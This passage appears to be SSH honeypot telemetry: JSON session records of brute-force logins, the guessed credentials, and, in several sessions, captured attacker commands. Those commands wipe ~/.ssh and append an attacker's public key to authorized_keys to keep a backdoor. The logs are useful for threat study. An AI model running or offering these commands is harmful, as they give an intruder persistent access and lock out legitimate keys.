"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}
SUCCESSFUL LOGIN
SCORE: 50
Credential acceptance event recorded. Target authentication: test / 3245gs5662d34
{
"id": "2ae52d84e940",
"src_ip": "5.253.38.188",
"start_time": "2026-10-07T19:07:28.354307Z",
"end_time": "2026-10-07T19:07:28.509880Z",
"duration": "0.2",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "test",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "c1b19d2e987a",
"src_ip": "5.253.38.188",
"start_time": "2026-10-07T19:07:27.193632Z",
"end_time": "2026-10-07T19:07:28.338528Z",
"duration": "1.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
SUCCESSFUL LOGIN
COMMANDS RUN
SCORE: 80
Credential acceptance event recorded. Target authentication: test / qwe@123
Remote entity achieved interactive shell state. Command sequence (2 executed):
[obs-node]:~$
cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
{
"id": "104bebcf3985",
"src_ip": "5.253.38.188",
"start_time": "2026-10-07T19:07:26.809909Z",
"end_time": "2026-10-07T19:07:28.506167Z",
"duration": "1.7",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "test",
"pass": "qwe@123"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}
SCORE: 10
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "1045c49906fb",
"src_ip": "218.23.192.91",
"start_time": "2026-10-07T19:06:28.343409Z",
"end_time": "2026-10-07T19:08:28.348998Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: dante
{
"id": "1b268f5ac943",
"src_ip": "5.253.38.188",
"start_time": "2026-10-07T19:06:16.177286Z",
"end_time": "2026-10-07T19:06:17.327765Z",
"duration": "1.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "dante",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
SCORE: 0
Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "3d2c9118d1f4",
"src_ip": "45.148.10.151",
"start_time": "2026-10-07T19:05:13.020019Z",
"end_time": "2026-10-07T19:05:13.788299Z",
"duration": "0.8",
"version": "SSH-2.0-PUTTY",
"hassh": "5bd26477da5440a6187bd3f1b39a429c",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hector
{
"id": "b6d3cfe92618",
"src_ip": "5.253.38.188",
"start_time": "2026-10-07T19:05:01.249346Z",
"end_time": "2026-10-07T19:05:02.391628Z",
"duration": "1.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "hector",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
SUCCESSFUL LOGIN
SCORE: 50
Credential acceptance event recorded. Target authentication: admin / 3245gs5662d34
{
"id": "8265fd17b4e2",
"src_ip": "5.253.38.188",
"start_time": "2026-10-07T19:03:42.513166Z",
"end_time": "2026-10-07T19:03:42.666948Z",
"duration": "0.2",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "083ebac63b28",
"src_ip": "5.253.38.188",
"start_time": "2026-10-07T19:03:41.349500Z",
"end_time": "2026-10-07T19:03:42.497310Z",
"duration": "1.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
SUCCESSFUL LOGIN
COMMANDS RUN
SCORE: 80
Credential acceptance event recorded. Target authentication: admin / 1111
Remote entity achieved interactive shell state. Command sequence (2 executed):
[obs-node]:~$
cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
{
"id": "3594f0444c05",
"src_ip": "5.253.38.188",
"start_time": "2026-10-07T19:03:40.976529Z",
"end_time": "2026-10-07T19:03:42.663862Z",
"duration": "1.7",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "1111"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}
SUCCESSFUL LOGIN
SCORE: 50
Credential acceptance event recorded. Target authentication: root / 3245gs5662d34
{
"id": "ed14213438f6",
"src_ip": "5.253.38.188",
"start_time": "2026-10-07T19:02:21.177757Z",
"end_time": "2026-10-07T19:02:21.328551Z",
"duration": "0.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}
FAILED LOGIN
SCORE: 0
Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "2c4acb46fd7c",
"src_ip": "5.253.38.188",
"start_time": "2026-10-07T19:02:20.012418Z",
"end_time": "2026-10-07T19:02:21.163312Z",
"duration": "1.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}
SUCCESSFUL LOGIN
COMMANDS RUN
SCORE: 80
Credential acceptance event recorded. Target authentication: root / 1qaz@WSX3ed
Remote entity achieved interactive shell state. Command sequence (2 executed):
[obs-node]:~$
cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
{
"id": "740136eefd4f",
"src_ip": "5.253.38.188",
"start_time": "2026-10-07T19:02:19.635523Z",
"end_time": "2026-10-07T19:02:21.324856Z",
"duration": "1.7",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "1qaz@WSX3ed"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}
SUCCESSFUL LOGIN
SCORE: 50
Credential acceptance event recorded. Target authentication: admin / 3245gs5662d34
{
"id": "e0a072a7af4b",
"src_ip": "5.253.38.188",
"start_time": "2026-10-07T19:01:05.941558Z",
"end_time": "2026-10-07T19:01:06.093671Z",
"duration": "0.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}